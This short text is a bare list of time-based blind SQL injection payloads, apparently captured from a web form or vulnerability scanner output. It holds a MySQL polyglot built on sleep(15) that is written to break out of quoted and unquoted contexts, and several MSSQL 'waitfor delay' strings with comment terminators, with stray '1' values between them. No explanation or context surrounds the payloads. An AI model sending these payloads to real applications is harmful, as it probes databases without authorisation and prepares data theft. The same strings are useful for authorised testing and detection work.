(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

1

555-1; waitfor delay '0:0:15' --

1

555-1); waitfor delay '0:0:15' --

1

555-1 waitfor delay '0:0:15' --

1

1

555ncG7u1IQ'; waitfor delay '0:0:15' --